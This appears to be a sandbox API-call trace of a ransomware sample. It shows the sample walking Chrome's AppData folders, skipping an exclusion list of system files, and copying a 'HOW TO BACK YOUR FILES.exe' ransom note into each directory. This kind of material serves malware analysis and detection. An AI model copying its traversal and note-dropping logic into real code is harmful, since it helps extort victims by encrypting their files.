	[0046.502] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.502] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.502] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.502] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33c97570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c97570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.502] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.502] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.502] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.502] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.502] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="Apollon865.txt.exe") returned 1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2=".") returned 1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="..") returned 1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="windows") returned -1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="bootmgr") returned 1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="temp") returned -1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="pagefile.sys") returned -1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="boot") returned 1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="ids.txt") returned -1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="ntuser.dat") returned -1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="perflogs") returned -1
	[0046.502] lstrcmpiW (lpString1="Chrome", lpString2="MSBuild") returned -1
	[0046.502] lstrlenW (lpString="Chrome") returned 6
	[0046.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*") returned 52
	[0046.502] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Chrome" | out: lpString1="Chrome") returned="Chrome"
	[0046.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0046.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591640
	[0046.503] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0046.503] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="Apollon865.txt.exe") returned 1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2=".") returned 1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="..") returned 1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="windows") returned -1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="bootmgr") returned 1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="temp") returned -1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="pagefile.sys") returned -1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="boot") returned 1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="ids.txt") returned -1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="ntuser.dat") returned -1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="perflogs") returned -1
	[0046.503] lstrcmpiW (lpString1="CrashReports", lpString2="MSBuild") returned -1
	[0046.503] lstrlenW (lpString="CrashReports") returned 12
	[0046.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned 57
	[0046.503] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="CrashReports" | out: lpString1="CrashReports") returned="CrashReports"
	[0046.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0046.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf568
	[0046.503] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0046.503] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c97570, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c97570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.503] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.503] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c97570, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c97570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.503] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.503] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0046.503] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports"
	[0046.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0046.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0046.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports") returned 63
	[0046.503] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports"
	[0046.504] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.504] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\crashreports\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.507] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.507] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33c97570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c97570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.508] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.508] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.508] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.508] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33c97570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c97570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.508] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.508] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.508] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.508] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.508] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c97570, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c97570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.508] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.508] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c97570, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c97570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.508] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.508] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0046.508] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome"
	[0046.508] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0046.508] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0046.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned 57
	[0046.508] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome"
	[0046.508] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.508] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.512] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.512] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33cbd6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33cbd6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.512] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.512] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.512] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.512] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33cbd6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33cbd6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.512] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.512] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.512] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.513] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.513] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33cbd6d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33cbd6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.513] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.513] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="Apollon865.txt.exe") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2=".") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="..") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="windows") returned -1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="bootmgr") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="temp") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="pagefile.sys") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="boot") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="ids.txt") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="ntuser.dat") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="perflogs") returned 1
	[0046.513] lstrcmpiW (lpString1="User Data", lpString2="MSBuild") returned 1
	[0046.513] lstrlenW (lpString="User Data") returned 9
	[0046.513] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*") returned 59
	[0046.513] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="User Data" | out: lpString1="User Data") returned="User Data"
	[0046.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0046.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b9168
	[0046.513] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0046.513] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0
	[0046.513] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.513] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0046.513] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0046.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0046.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0046.513] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned 67
	[0046.513] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0046.514] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.514] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.525] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.525] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33ce3830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33ce3830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.526] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.526] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.526] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.526] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33ce3830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33ce3830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.527] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.527] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.527] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.527] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="CertificateTransparency" | out: lpString1="CertificateTransparency") returned="CertificateTransparency"
	[0046.527] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0046.527] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0046.527] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0046.528] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1
	[0046.528] lstrcmpiW (lpString1="Crashpad", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.528] lstrcmpiW (lpString1="Crashpad", lpString2="Apollon865.txt.exe") returned 1
	[0046.528] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Crashpad" | out: lpString1="Crashpad") returned="Crashpad"
	[0046.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0046.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9a) returned 0x599c48
	[0046.528] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0046.528] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1
	[0046.528] lstrcmpiW (lpString1="Default", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.528] lstrcmpiW (lpString1="Default", lpString2="Apollon865.txt.exe") returned 1
	[0046.528] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Default" | out: lpString1="Default") returned="Default"
	[0046.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0046.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x599cf0
	[0046.528] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0046.528] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1
	[0046.528] lstrcmpiW (lpString1="EVWhitelist", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.528] lstrcmpiW (lpString1="EVWhitelist", lpString2="Apollon865.txt.exe") returned 1
	[0046.528] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="EVWhitelist" | out: lpString1="EVWhitelist") returned="EVWhitelist"
	[0046.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
